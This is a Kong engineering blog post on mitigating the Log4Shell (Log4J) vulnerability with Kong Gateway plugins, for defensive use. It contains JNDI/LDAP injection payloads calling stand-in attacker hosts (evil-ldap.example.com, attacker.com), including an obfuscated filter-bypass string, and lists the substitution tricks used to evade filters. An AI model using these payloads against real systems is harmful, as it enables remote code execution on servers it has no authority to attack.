Blog
  • AI Gateway
  • AI Security
  • AIOps
  • API Security
  • API Gateway
    • API Management
    • API Development
    • API Design
    • Automation
    • Service Mesh
    • Insomnia
    • View All Blogs
  1. Home
  2. Blog
  3. Engineering
  4. Log4J, Log4Shell and Kong
Engineering
December 16, 2021
4 min read

Log4J, Log4Shell and Kong

Michael Heap
Sr Director Developer Experience, Kong
Topics
API DesignAPI SecurityGovernance
Share on Social

More on this topic

eBooks

Becoming a Secure API-First Company

eBooks

Adopting a Zero Trust Approach to Microservice Security

See Kong in action

Accelerate deployments, reduce vulnerabilities, and gain real-time visibility. 

Get a Demo

If you've been online at all this week, chances are that you've heard about the Log4Shell zero-day (CVE-2021-44228) in Log4J, a popular Java logging library. The vulnerability enables Remote Code Execution (RCE), which allows attackers to run arbitrary code on the target's machines.

I know the first question that you all have is: "Is Kong affected by Log4Shell?" Let's start with the good news: No Kong products are affected by this Log4J vulnerability. Our products are built with multiple languages, including Lua, C++, Go and Nodejs, but no Java.

That's a great starting point, but we wanted to ensure that not only were our products not impacted, but none of our internal systems (such as our build servers) were either. We do run some Java software at Kong, but we've run an audit and concluded that no systems have been impacted.

Now that we've established that the supply chain hasn't been tampered with, let's move on to the next pressing question: "Can Kong help me detect and prevent Log4Shell?". The short answer is yes! Keep reading to learn how to use Kong Gateway to mitigate Log4Shell attacks on your own applications.

Block Log4Shell With Kong's Request Transformer Plugin

The Request Transformer plugin that is available in both the OSS and Enterprise versions of Kong Gateway is the first option to help mitigate the Log4Shell vulnerability.

Request Transformer allows you to manipulate requests before they are passed to your upstream service. Here's an example of how to remove the string jndi from the Referer header before it's passed upstream:

This helps insulate us from the most basic form of this attack -- when the string is passed directly in the Referer header. It helps us prevent attacks similar to this:

Once the Request Transformer plugin has run, the Referer header upstream will contain ${disabled:ldap://evil-ldap.example.com:80/callback}, preventing the vulnerability.

Unfortunately for us, attackers are getting quite imaginative and are sending vulnerable payloads in several headers, and with lots of different obfuscation methods.

If you’re filtering on “ldap”, “jndi”, or the ${lower:x} method, I have bad news for you:

${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}

This gets past every filter I’ve found so far. There’s no shortage of these bypasses.#log4j

— Brandon Forbes (@Rezn0k) December 11, 2021

Whilst you could build a Request Transformer configuration that blocks every single one of these attacks, it would become hard to manage very quickly. Luckily, there's another way! Using the power of Kong's plugin system, we can build a custom plugin to block malicious requests.

Block Log4Shell With a Kong Plugin

Kong's plugin system allows you to run code written in Lua, JavaScript or Go before passing the request to an upstream server. In this example, we'll be using Lua to normalize all of the request headers and sanitize them.

In this section, we'll be showing a Kong plugin built by Brent Yarger, a field engineer at Kong.

The community's understanding of Log4Shell is constantly evolving. The example shared blocks all of the vectors that we're aware of today, but should not be considered comprehensive. Please do your own due diligence before deploying any solution.

Many of the obfuscation techniques rely on string interpolation capabilities such as making a string uppercase or lowercase. All of the following will output the letter d in the log message once the substitutions have been completed:

  • ${lower:d}
  • ${upper:d}
  • ${env:MISSING:-d}
  • ${::-d}

We can use Lua to resolve these substitutions ourselves, which would convert ${lower:j}${upper:n}${::-d}${env:MISSING:-I}: to jndi:. At this point, we can check if the header contains jndi: and return a HTTP 403 if so.

The final thing to note is that the plugin iterates through all headers found in the request. This prevents the need to maintain a list of headers to check manually.

One More Thing!

We've shown you how to mitigate any attacks so far, but how do you know if your application is vulnerable at all?

To help you out, we've created an Insomnia collection containing sample requests using the lower, upper, env and default substitutions shown above. Click on the button below to import it into your Insomnia workspace:

Run in Insomnia

Once you've imported it, you'll need to edit the environment and provide a value for the exfiltrate variable. This is the hostname where the data will be sent to. I've used interactsh whilst testing.

If you'd like to try out the collection but don't want to test against production systems (I don't blame you!), you can use the log4jpwn project on GitHub to build a Docker containing that exposes a vulnerable service.

Let's Recap

To wrap this up, let's recap what we learned today:

  • Log4Shell is a remote code execution vulnerability in Log4J, a popular Java logging library
  • No Kong products are affected by Log4Shell
  • No systems in the Kong supply chain are vulnerable to Log4Shell
  • You can mitigate Log4Shell using a custom Kong Gateway plugin
  • There's an Insomnia collection available to help you test your own applications

Phew! That's a ton of stuff for such a short blog post. Good luck as you work on securing your infrastructure, and don't hesitate to ask if you have any more questions related to Kong's products.

Topics
API DesignAPI SecurityGovernance
Share on Social
Michael Heap
Sr Director Developer Experience, Kong

Recommended posts

Unlocking API Analytics for Product Managers

Kong Logo
EngineeringSeptember 9, 2025

Meet Emily. She’s an API product manager at ACME, Inc., an ecommerce company that runs on dozens of APIs. One morning, her team lead asks a simple question: “Who’s our top API consumer, and which of your APIs are causing the most issues right now?”

Christian Heidenreich

How to Build a Multi-LLM AI Agent with Kong AI Gateway and LangGraph

Kong Logo
EngineeringJuly 31, 2025

In the last two parts of this series, we discussed How to Strengthen a ReAct AI Agent with Kong AI Gateway and How to Build a Single-LLM AI Agent with Kong AI Gateway and LangGraph . In this third and final part, we're going to evolve the AI Agen

Claudio Acquaviva

How to Build a Single LLM AI Agent with Kong AI Gateway and LangGraph

Kong Logo
EngineeringJuly 24, 2025

In my previous post, we discussed how we can implement a basic AI Agent with Kong AI Gateway. In part two of this series, we're going to review LangGraph fundamentals, rewrite the AI Agent and explore how Kong AI Gateway can be used to protect an LLM

Claudio Acquaviva

How to Strengthen a ReAct AI Agent with Kong AI Gateway

Kong Logo
EngineeringJuly 15, 2025

This is part one of a series exploring how Kong AI Gateway can be used in an AI Agent development with LangGraph. The series comprises three parts: Basic ReAct AI Agent with Kong AI Gateway Single LLM ReAct AI Agent with Kong AI Gateway and LangGr

Claudio Acquaviva

Build Your Own Internal RAG Agent with Kong AI Gateway

Kong Logo
EngineeringJuly 9, 2025

What Is RAG, and Why Should You Use It? RAG (Retrieval-Augmented Generation) is not a new concept in AI, and unsurprisingly, when talking to companies, everyone seems to have their own interpretation of how to implement it. So, let’s start with a r

Antoine Jacquemin

AI Gateway Benchmark: Kong AI Gateway, Portkey, and LiteLLM

Kong Logo
EngineeringJuly 7, 2025

In February 2024, Kong became the first API platform to launch a dedicated AI gateway, designed to bring production-grade performance, observability, and policy enforcement to GenAI workloads. At its core, Kong’s AI Gateway provides a universal API

Claudio Acquaviva

Scalable Architectures with Vue Micro Frontends: A Developer-Centric Approach

Kong Logo
EngineeringJanuary 9, 2024

In this article, which is based on my talk at VueConf Toronto 2023, we'll explore how to harness the power of Vue.js and micro frontends to create scalable, modular architectures that prioritize the developer experience. We'll unveil practical strate

Adam DeHaven

Ready to see Kong in action?

Get a personalized walkthrough of Kong's platform tailored to your architecture, use cases, and scale requirements.

Get a Demo
Powering the API world

Increase developer productivity, security, and performance at scale with the unified platform for API management, AI gateways, service mesh, and ingress controller.

Sign up for Kong newsletter

Platform
Kong KonnectKong GatewayKong AI GatewayKong InsomniaDeveloper PortalGateway ManagerCloud GatewayGet a Demo
Explore More
Open Banking API SolutionsAPI Governance SolutionsIstio API Gateway IntegrationKubernetes API ManagementAPI Gateway: Build vs BuyKong vs PostmanKong vs MuleSoftKong vs Apigee
Documentation
Kong Konnect DocsKong Gateway DocsKong Mesh DocsKong AI GatewayKong Insomnia DocsKong Plugin Hub
Open Source
Kong GatewayKumaInsomniaKong Community
Company
About KongCustomersCareersPressEventsContactPricing
  • Terms•
  • Privacy•
  • Trust and Compliance•
  • © Kong Inc. 2025